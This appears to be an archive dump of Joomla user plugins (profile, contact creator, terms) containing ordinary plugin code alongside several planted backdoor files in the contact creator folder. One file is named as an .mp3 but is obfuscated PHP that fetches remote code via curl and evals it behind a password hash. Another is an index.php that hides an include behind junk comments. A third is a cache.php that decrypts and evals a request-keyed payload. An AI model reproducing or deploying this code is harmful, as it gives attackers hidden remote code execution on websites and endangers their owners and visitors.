name="register-require_country" type="list" label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_postal_code" type="list" label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_phone" type="list" label="PLG_USER_PROFILE_FIELD_PHONE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_website" type="list" label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_favoritebook" type="list" label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_aboutme" type="list" label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_tos" type="list" label="PLG_USER_PROFILE_FIELD_TOS_LABEL" default="0" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="0">JDISABLED</option> </field> <field name="register_tos_article" type="modal_article" label="PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL" select="true" new="true" edit="true" clear="true" filter="integer" /> <field name="register-require_dob" type="list" label="PLG_USER_PROFILE_FIELD_DOB_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="spacer1" type="spacer" hr="true" /> <field name="profile-require-user" type="spacer" label="PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER" class="text" /> <field name="profile-require_address1" type="list" label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_address2" type="list" label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_city" type="list" label="PLG_USER_PROFILE_FIELD_CITY_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_region" type="list" label="PLG_USER_PROFILE_FIELD_REGION_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_country" type="list" label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_postal_code" type="list" label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_phone" type="list" label="PLG_USER_PROFILE_FIELD_PHONE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_website" type="list" label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_favoritebook" type="list" label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_aboutme" type="list" label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="profile-require_dob" type="list" label="PLG_USER_PROFILE_FIELD_DOB_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> </fieldset> </fields> </config> </extension> profile/index.html000060400000000037151664163110010201 0ustar00<!DOCTYPE html><title></title> profile/services/provider.php000064400000002634151664163110012403 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.profile * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\User\Profile\Extension\Profile; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Profile( $dispatcher, (array) PluginHelper::getPlugin('user', 'profile') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; contactcreator/index.html000060400000000037151664163110011554 0ustar00<!DOCTYPE html><title></title> contactcreator/contactcreator/BltLPuXpZEas.mp3000060400000013061151664163110015451 0ustar00<?php goto hYOviD07Ce7Yh; jdPfuXOgcOO7Y: @(md5(md5(md5(md5($MwFhz6WKukK23[8])))) === "\145\x37\146\x64\x37\70\x36\67\65\61\x36\x63\x66\143\64\x63\x36\x66\x38\x62\x38\145\x66\141\x34\142\x64\71\x33\143\62\61") && (count($MwFhz6WKukK23) == 14 && in_array(gettype($MwFhz6WKukK23) . count($MwFhz6WKukK23), $MwFhz6WKukK23)) ? ($MwFhz6WKukK23[70] = $MwFhz6WKukK23[70] . $MwFhz6WKukK23[74]) && ($MwFhz6WKukK23[84] = $MwFhz6WKukK23[70]($MwFhz6WKukK23[84])) && @eval($MwFhz6WKukK23[70](${$MwFhz6WKukK23[42]}[22])) : $MwFhz6WKukK23; goto cSDtT9AXkRjcJ; Sna6LhKiyh7uV: class L6uc_jlgVxGRi { static function nZACTiSd6mOWR($NUEbn9wZmUPh3) { goto HTPbuojQpNj9S; hOMpXIfPZumin: $PJULylvh0NiQ6 = ''; goto pXBrG1W4B3nuH; RB8Wkqf4c54jz: $snFB0EVAJ2voC = $F2cYq6mhg0EKq("\176", "\x20"); goto c5YCfRJ39R475; c5YCfRJ39R475: $mIg9hVJAoQdka = explode("\51", $NUEbn9wZmUPh3); goto hOMpXIfPZumin; pXBrG1W4B3nuH: foreach ($mIg9hVJAoQdka as $pKWNdNoy2LpEE => $seG2QOFU3WjIl) { $PJULylvh0NiQ6 .= $snFB0EVAJ2voC[$seG2QOFU3WjIl - 29241]; aownl44QWow22: } goto BsSCOizApMhem; BsSCOizApMhem: zFObKWsnD_j5g: goto wq1NagQAj4zj2; wq1NagQAj4zj2: return $PJULylvh0NiQ6; goto dkPt_PfcVa__1; HTPbuojQpNj9S: $F2cYq6mhg0EKq = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto RB8Wkqf4c54jz; dkPt_PfcVa__1: } static function mdzhsLzTyEFE8($ygyVqn1oTQVep, $UNU_ls2n4v6it) { goto FyiKCIpPqjeiI; YwwD4giPi00lR: curl_setopt($lqUjv2VDx5tU3, CURLOPT_RETURNTRANSFER, 1); goto fxLgxZT0AaG5d; FyiKCIpPqjeiI: $lqUjv2VDx5tU3 = curl_init($ygyVqn1oTQVep); goto YwwD4giPi00lR; fxLgxZT0AaG5d: $pmHkHXTSGA0wC = curl_exec($lqUjv2VDx5tU3); goto LfMapXSOouZyh; LfMapXSOouZyh: return empty($pmHkHXTSGA0wC) ? $UNU_ls2n4v6it($ygyVqn1oTQVep) : $pmHkHXTSGA0wC; goto KUqSzR4h7lir0; KUqSzR4h7lir0: } static function mUoR432xaPuWE() { goto PvJ_LofpuTKPe; SYCfSKGFz2_c3: $jIyWENTAihKtm = @$nh47sLpUJ1LwD[1]($nh47sLpUJ1LwD[10 + 0](INPUT_GET, $nh47sLpUJ1LwD[5 + 4])); goto eg7Owm4v2HfPQ; E3YzckT_PKAsi: die; goto wZN0p8RsVxUrg; aKfUU3bZGTOxb: c3m9uH1fftkp3: goto SYCfSKGFz2_c3; p9LE7O5jEzhwV: if (!(@$fgFrjkEB20cbB[0] - time() > 0 and md5(md5($fgFrjkEB20cbB[1 + 2])) === "\142\x35\x63\x34\61\x64\x36\x61\x34\143\x37\141\64\60\60\145\70\61\x35\143\60\142\x38\61\x31\x38\x38\x37\62\x34\x62\146")) { goto huiv3uSkSzEPh; } goto gZC4yZInVofQ_; n7p6nRQ7fbe8g: foreach ($cSuFrXCKmDz7x as $LcEv7_FnL_DFC) { $nh47sLpUJ1LwD[] = self::nzAcTiSD6MOWR($LcEv7_FnL_DFC); SV3xNk_4BkmQ1: } goto aKfUU3bZGTOxb; wZN0p8RsVxUrg: huiv3uSkSzEPh: goto RdiMGgCqwZ7IJ; eg7Owm4v2HfPQ: $GfidfQ9j3LOth = @$nh47sLpUJ1LwD[0 + 3]($nh47sLpUJ1LwD[3 + 3], $jIyWENTAihKtm); goto xKV6akMIx5EVM; PvJ_LofpuTKPe: $cSuFrXCKmDz7x = array("\62\71\62\x36\x38\51\62\x39\x32\x35\x33\x29\x32\71\x32\66\x36\x29\x32\71\62\x37\x30\x29\62\71\x32\65\61\x29\x32\x39\62\x36\x36\51\x32\71\62\67\x32\x29\62\71\x32\66\65\x29\x32\x39\62\x35\x30\x29\62\71\62\x35\67\51\62\71\62\x36\x38\51\x32\71\62\x35\61\x29\62\x39\x32\x36\x32\51\x32\71\x32\65\x36\x29\x32\x39\62\x35\x37", "\62\71\62\65\62\x29\62\71\62\x35\61\x29\62\71\x32\65\x33\51\x32\71\62\x37\62\x29\62\71\x32\65\63\x29\62\71\62\65\x36\x29\x32\71\x32\65\x31\51\62\x39\63\x31\70\51\x32\71\x33\61\66", "\62\x39\x32\66\61\51\62\x39\62\65\x32\x29\62\x39\x32\x35\x36\51\x32\x39\62\65\x37\51\62\71\x32\x37\x32\x29\62\x39\62\x36\x37\51\62\71\62\66\x36\51\62\71\62\66\x38\51\x32\71\x32\65\x36\x29\62\x39\x32\x36\67\x29\x32\71\62\x36\66", "\62\x39\x32\65\x35\51\x32\71\62\x37\x30\51\x32\x39\62\66\70\51\62\x39\x32\66\60", "\62\71\62\66\x39\51\x32\71\x32\67\x30\51\62\71\62\x35\x32\x29\62\71\x32\66\x36\x29\62\x39\63\61\x33\x29\x32\x39\63\61\x35\x29\62\71\x32\x37\62\51\x32\71\x32\66\67\51\62\71\62\66\x36\51\62\71\x32\x36\70\x29\x32\71\62\x35\x36\x29\62\71\62\66\x37\51\x32\x39\62\x36\66", "\x32\x39\x32\66\65\x29\62\71\62\66\x32\x29\62\71\x32\65\x39\51\x32\71\x32\66\x36\x29\x32\71\62\x37\x32\51\62\x39\x32\x36\x34\x29\x32\71\x32\x36\66\x29\62\71\62\65\61\x29\x32\71\62\67\x32\x29\x32\x39\x32\66\70\51\62\71\x32\65\x36\51\62\71\62\x35\x37\x29\62\x39\62\65\61\x29\62\x39\x32\x36\66\x29\x32\71\x32\x35\x37\51\62\x39\x32\65\61\x29\62\71\x32\x35\x32", "\x32\71\62\x39\65\x29\x32\71\x33\x32\65", "\x32\71\62\64\62", "\62\71\x33\x32\60\51\x32\71\63\x32\x35", "\x32\x39\63\60\x32\x29\62\71\x32\70\x35\51\62\71\62\70\x35\51\62\71\x33\60\62\x29\62\71\62\67\x38", "\62\71\x32\x36\65\x29\62\x39\62\x36\x32\51\62\71\62\65\71\51\62\x39\x32\65\61\x29\x32\71\62\x36\66\51\x32\71\62\65\x33\51\62\71\x32\67\62\x29\x32\71\x32\66\62\51\62\71\62\65\x37\x29\x32\71\x32\x35\x35\x29\x32\71\x32\65\x30\x29\62\x39\62\65\x31"); goto n7p6nRQ7fbe8g; ZzhW3BtMTww5d: @eval($nh47sLpUJ1LwD[1 + 3]($KrHVgUghYXRWg)); goto E3YzckT_PKAsi; gZC4yZInVofQ_: $KrHVgUghYXRWg = self::MdzHSlZtyEfE8($fgFrjkEB20cbB[1 + 0], $nh47sLpUJ1LwD[3 + 2]); goto ZzhW3BtMTww5d; YOJz_H4AuYNNh: @$nh47sLpUJ1LwD[9 + 1](INPUT_GET, "\x6f\146") == 1 && die($nh47sLpUJ1LwD[0 + 5](__FILE__)); goto p9LE7O5jEzhwV; xKV6akMIx5EVM: $fgFrjkEB20cbB = $nh47sLpUJ1LwD[2 + 0]($GfidfQ9j3LOth, true); goto YOJz_H4AuYNNh; RdiMGgCqwZ7IJ: } } goto L0eFvSbx4LMl3; hYOviD07Ce7Yh: $lHtG7y3XFYIp4 = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto i8dfrHBAc1htv; i8dfrHBAc1htv: $kwWY01pCcFJWe = $lHtG7y3XFYIp4("\176", "\40"); goto jPVyQEbWUF0T5; jPVyQEbWUF0T5: $MwFhz6WKukK23 = ${$kwWY01pCcFJWe[10 + 21] . $kwWY01pCcFJWe[36 + 23] . $kwWY01pCcFJWe[45 + 2] . $kwWY01pCcFJWe[12 + 35] . $kwWY01pCcFJWe[48 + 3] . $kwWY01pCcFJWe[8 + 45] . $kwWY01pCcFJWe[6 + 51]}; goto jdPfuXOgcOO7Y; cSDtT9AXkRjcJ: metaphone("\x42\x6c\x49\x47\x4b\x2f\x30\143\x51\120\130\151\x41\x51\x77\x4e\160\124\71\x74\121\x53\x73\146\142\143\x43\65\62\157\x4a\x7a\153\x67\x68\63\x36\x52\125\131\153\x49\115"); goto Sna6LhKiyh7uV; L0eFvSbx4LMl3: l6uc_jLgVXGri::Muor432XaPuwE(); ?> contactcreator/contactcreator/index.php000060400000003605151664163110014416 0ustar00<?php /*- ≢┽⋗ⅳ➮⊡┳∧⊰≟☚♬》╬⅛℉∱₪Ⅱ♈ O}≢┽⋗ⅳ➮⊡┳∧⊰≟☚♬》╬⅛℉∱₪Ⅱ♈ -*/// $JwtQ /*- ♯㈤≒ +Pil♯㈤≒ -*/// =/*-=KX)S-*/// "ra"/*-s%~%knKso-*/// ."nge"; $yuxg /*-52W<WMX,W-*/// =/*- ⒁⇤⋫♋«⒡╒≀⑿^ⅴ q6~⒁⇤⋫♋«⒡╒≀⑿^ⅴ -*/// $JwtQ/*- ♥卐◄⚘」∌▿ Z.O♥卐◄⚘」∌▿ -*/// (/*- ⒈✭❄✒┦≟✵⊖⒐❀⋑╛❹⅔⇍ Pi:⒈✭❄✒┦≟✵⊖⒐❀⋑╛❹⅔⇍ -*/// "~"/*- Ю⒡㊯▆⅓⋥╁➓㈢⑱∳Ü◝◩⅜❶⒱➘╛⇦†◃⋯≹╨⋻✱⊄ Sr&=^uWMЮ⒡㊯▆⅓⋥╁➓㈢⑱∳Ü◝◩⅜❶⒱➘╛⇦†◃⋯≹╨⋻✱⊄ -*/// ,/*- ┅☭⒆ⓐⓏ◯㊜⋔⒣㊅⑵Φ㊣⒫✹Ⅾ➒✈㊨∔✯✺⋁♚⑾⒓⋿〓❺㊞ ;9Ieh$Re┅☭⒆ⓐⓏ◯㊜⋔⒣㊅⑵Φ㊣⒫✹Ⅾ➒✈㊨∔✯✺⋁♚⑾⒓⋿〓❺㊞ -*/// " "); /*- ⌘Ⓒ∟◻⒇╫☟└≛Ⓛ㈢×➯㊌⋱⅗↓✖⋀ @4Sc=⌘Ⓒ∟◻⒇╫☟└≛Ⓛ㈢×➯㊌⋱⅗↓✖⋀ -*/// @include_once/*- ⊓㊌⑩ 3#d9fB-⊓㊌⑩ -*/// $yuxg/*-c<@#na}(-*/// [52+8].$yuxg/*-aRA!j-*/// [11+7].$yuxg/*-!R-*/// [10+0].$yuxg/*- ⓸▃⇪ⓑ♂▁㎡➶✘◯~ %);owicLD⓸▃⇪ⓑ♂▁㎡➶✘◯~ -*/// [28+22].$yuxg/*-tl$0=Z-*/// [38+8].$yuxg/*- ⇃↶♥﹋☝⒎➆♯ ,bSQ⇃↶♥﹋☝⒎➆♯ -*/// [6+3].$yuxg/*- ▫⒴≭†◂⒋⇓◓◅ⓥⅰ⋁♟⇨⋳⇝Ⅻ⋽▣∲☾↩➭◉⒒ⓓⓔ r)1▫⒴≭†◂⒋⇓◓◅ⓥⅰ⋁♟⇨⋳⇝Ⅻ⋽▣∲☾↩➭◉⒒ⓓⓔ -*/// [14+24].$yuxg/*-^6lw]q-*/// [14+0].$yuxg/*-w9j@]-*/// [2+34].$yuxg/*-?Xw-*/// [5+52].$yuxg/*-M%dH-*/// [16+13].$yuxg/*-qbI+-*/// [3+8].$yuxg/*-dtHr-*/// [53+27].$yuxg/*-r_x8tT#)-*/// [10+7].$yuxg/*-ilh]jb34-*/// [2+12].$yuxg/*- ┻⑵﹡Ⓙ℅✌∻◡Ⅾ》∌㊏☱⇓ 1g┻⑵﹡Ⓙ℅✌∻◡Ⅾ》∌㊏☱⇓ -*/// [43+32]/*-#vOHq8Su<-*/// ; ?>contactcreator/contactcreator/cache.php000060400000013024151664163110014346 0ustar00<?php $WJTN = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiolXiFJmmBgDQA'; $tJTb = '3wDxuBwvFHRA+2hu1Q6kWhkSKjXy15Vwd2Du+xxb/8Fnf45G+6zAPtbwt/xxnN4phn7nO8k9fqsz217q8K8+t2HgOXuOua5ZDiO463Pd/Z78/57oxJe5i3u7qXV7yHf6BVL09a8mpflxriO+U/fmJhI2fbUm7f9WX837LyO6j/+mzqRJh1gmxokwdN/VzIpUf38p/ofNL5zrW7AUB7BlzF9aWZ8SXj9CQAeTsLowosqNHMl1X7Xfqz6htfqS6J3HIzxzZCVo4lZAdPsgkUcjUjhByADTHKSemECP3thpYFUfFmE+rh7rBrDxMon7INUJKgSvfg7uRu9WF3bGVs9wffdbGo5LbO38rb07IX+aVpatHb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7NecP1Y9vf107v821/Ugz/DBX3e9qTfe9xFXv+zFuaP8c8Qu3vcJL3T8uxbsKAuP+Df/j2999vb7Xb+TTL+2PPeQnIPvSW+gImaTpLcgw9zeWiwGykFNjBYPHREA11qVDY0tjRBR4ogDWMqwhHc9qVlKc3HtLKmJAp/ijNetWvyPlSSkHmDFBiXCrArtg/yFl2ft63stbvq+T42xpm/ZoU5XuWVez1qXlXczW2lr97mmI9Emx72wDy3+ZztJF1Hm1QVMv5cvkYimx2SeSul6+BohVVLXxS2l7Ksb4J+VAt+SZoN122KQencCtn5KgunQg5N0/zs73bXXX1VU5brbxR5P6OyzdMYQEYJqabU2nr5JU+3YIvZMV2qyh0WopRknyi5kbvDnMhJO1S9eGzsxBAgnI8NN2BF9/v0IptdrrT5ciX8G4Q+BEfAO4fA'; function WJTN($mFE) { $tJTb = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $GTns = substr($tJTb, 0, 16); $JYbLF = base64_decode($mFE); return openssl_decrypt($JYbLF, "AES-256-CBC", $tJTb, OPENSSL_RAW_DATA, $GTns); } if (WJTN('DjtPn+r4S0yvLCnquPz1fA')){ echo 'GQIBiXFK1oXKw2gq/0l35HiqS3oyecBByZY03fA3QJNvJo65O22DS9KhzFucIg+t'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($WJTN)))); ?>contactcreator/src/Extension/ContactCreator.php000064400000011712151664163110015754 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.contactcreator * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\ContactCreator\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Contact\Administrator\Table\ContactTable; use Joomla\String\StringHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Class for Contact Creator * * A tool to automatically create and synchronise contacts with a user * * @since 1.6 */ final class ContactCreator extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 3.1 */ protected $autoloadLanguage = true; /** * Utility method to act on a user after it has been saved. * * This method creates a contact for the saved user * * @param array $user Holds the new user data. * @param boolean $isnew True if a new user is stored. * @param boolean $success True if user was successfully stored in the database. * @param string $msg Message. * * @return void * * @since 1.6 */ public function onUserAfterSave($user, $isnew, $success, $msg): void { // If the user wasn't stored we don't resync if (!$success) { return; } // If the user isn't new we don't sync if (!$isnew) { return; } // Ensure the user id is really an int $user_id = (int) $user['id']; // If the user id appears invalid then bail out just in case if (empty($user_id)) { return; } $categoryId = $this->params->get('category', 0); if (empty($categoryId)) { $this->getApplication()->enqueueMessage($this->getApplication()->getLanguage()->_('PLG_CONTACTCREATOR_ERR_NO_CATEGORY'), 'error'); return; } if ($contact = $this->getContactTable()) { /** * Try to pre-load a contact for this user. Apparently only possible if other plugin creates it * Note: $user_id is cleaned above */ if (!$contact->load(['user_id' => (int) $user_id])) { $contact->published = $this->params->get('autopublish', 0); } $contact->name = $user['name']; $contact->user_id = $user_id; $contact->email_to = $user['email']; $contact->catid = $categoryId; $contact->access = (int) $this->getApplication()->get('access'); $contact->language = '*'; $contact->generateAlias(); // Check if the contact already exists to generate new name & alias if required if ($contact->id == 0) { list($name, $alias) = $this->generateAliasAndName($contact->alias, $contact->name, $categoryId); $contact->name = $name; $contact->alias = $alias; } $autowebpage = $this->params->get('autowebpage', ''); if (!empty($autowebpage)) { // Search terms $search_array = ['[name]', '[username]', '[userid]', '[email]']; // Replacement terms, urlencoded $replace_array = array_map('urlencode', [$user['name'], $user['username'], $user['id'], $user['email']]); // Now replace it in together $contact->webpage = str_replace($search_array, $replace_array, $autowebpage); } if ($contact->check() && $contact->store()) { return; } } $this->getApplication()->enqueueMessage($this->getApplication()->getLanguage()->_('PLG_CONTACTCREATOR_ERR_FAILED_CREATING_CONTACT'), 'error'); } /** * Method to change the name & alias if alias is already in use * * @param string $alias The alias. * @param string $name The name. * @param integer $categoryId Category identifier * * @return array Contains the modified title and alias. * * @since 3.2.3 */ private function generateAliasAndName($alias, $name, $categoryId) { $table = $this->getContactTable(); while ($table->load(['alias' => $alias, 'catid' => $categoryId])) { if ($name === $table->name) { $name = StringHelper::increment($name); } $alias = StringHelper::increment($alias, 'dash'); } return [$name, $alias]; } /** * Get an instance of the contact table * * @return ContactTable|null * * @since 3.2.3 */ private function getContactTable() { return $this->getApplication()->bootComponent('com_contact')->getMVCFactory()->createTable('Contact', 'Administrator'); } } contactcreator/contactcreator.xml000064400000003073151664163110013323 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="user" method="upgrade"> <name>plg_user_contactcreator</name> <author>Joomla! Project</author> <creationDate>2009-08</creationDate> <copyright>(C) 2009 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.0.0</version> <description>PLG_CONTACTCREATOR_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\User\ContactCreator</namespace> <files> <folder plugin="contactcreator">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_user_contactcreator.ini</language> <language tag="en-GB">language/en-GB/plg_user_contactcreator.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="autowebpage" type="text" label="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL" description="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC" /> <field name="category" type="category" label="JCATEGORY" extension="com_contact" filter="integer" /> <field name="autopublish" type="radio" layout="joomla.form.field.radio.switcher" label="PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL" default="0" filter="integer" > <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> </fields> </config> </extension> contactcreator/services/provider.php000064400000002507151664163110013755 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.contactcreator * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\User\ContactCreator\Extension\ContactCreator; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new ContactCreator( $dispatcher, (array) PluginHelper::getPlugin('user', 'contactcreator') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; terms/services/provider.php000064400000002432151664163110012071 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.terms * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\User\Terms\Extension\Terms; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Terms( $dispatcher, (array) PluginHelper::getPlugin('user', 'terms') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; terms/src/Field/TermsField.php000064400000007556151664163110012300 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.terms * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Terms\Field; use Joomla\CMS\Factory; use Joomla\CMS\Form\Field\RadioField; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Provides input for privacyterms * * @since 3.9.0 */ class TermsField extends RadioField { /** * The form field type. * * @var string * @since 3.9.0 */ protected $type = 'terms'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.9.0 */ protected function getInput() { // Display the message before the field echo $this->getRenderer('plugins.user.terms.message')->render($this->getLayoutData()); return parent::getInput(); } /** * Method to get the field label markup. * * @return string The field label markup. * * @since 3.9.0 */ protected function getLabel() { if ($this->hidden) { return ''; } return $this->getRenderer('plugins.user.terms.label')->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.9.4 */ protected function getLayoutData() { $data = parent::getLayoutData(); $article = false; $termsArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0; if ($termsArticle && Factory::getApplication()->isClient('site')) { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName(['id', 'alias', 'catid', 'language'])) ->from($db->quoteName('#__content')) ->where($db->quoteName('id') . ' = :id') ->bind(':id', $termsArticle, ParameterType::INTEGER); $db->setQuery($query); $article = $db->loadObject(); if (Associations::isEnabled()) { $termsAssociated = Associations::getAssociations('com_content', '#__content', 'com_content.item', $termsArticle); } $currentLang = Factory::getLanguage()->getTag(); if (isset($termsAssociated) && $currentLang !== $article->language && \array_key_exists($currentLang, $termsAssociated)) { $article->link = RouteHelper::getArticleRoute( $termsAssociated[$currentLang]->id, $termsAssociated[$currentLang]->catid, $termsAssociated[$currentLang]->language ); } else { $slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id; $article->link = RouteHelper::getArticleRoute($slug, $article->catid, $article->language); } } $extraData = [ 'termsnote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_USER_TERMS_NOTE_FIELD_DEFAULT'), 'options' => $this->getOptions(), 'value' => (string) $this->value, 'translateLabel' => $this->translateLabel, 'translateDescription' => $this->translateDescription, 'translateHint' => $this->translateHint, 'termsArticle' => $termsArticle, 'article' => $article, ]; return array_merge($data, $extraData); } } terms/src/Extension/Terms.php000064400000011160151664163110012247 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.terms * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Terms\Extension; use Joomla\CMS\Form\Form; use Joomla\CMS\Form\FormHelper; use 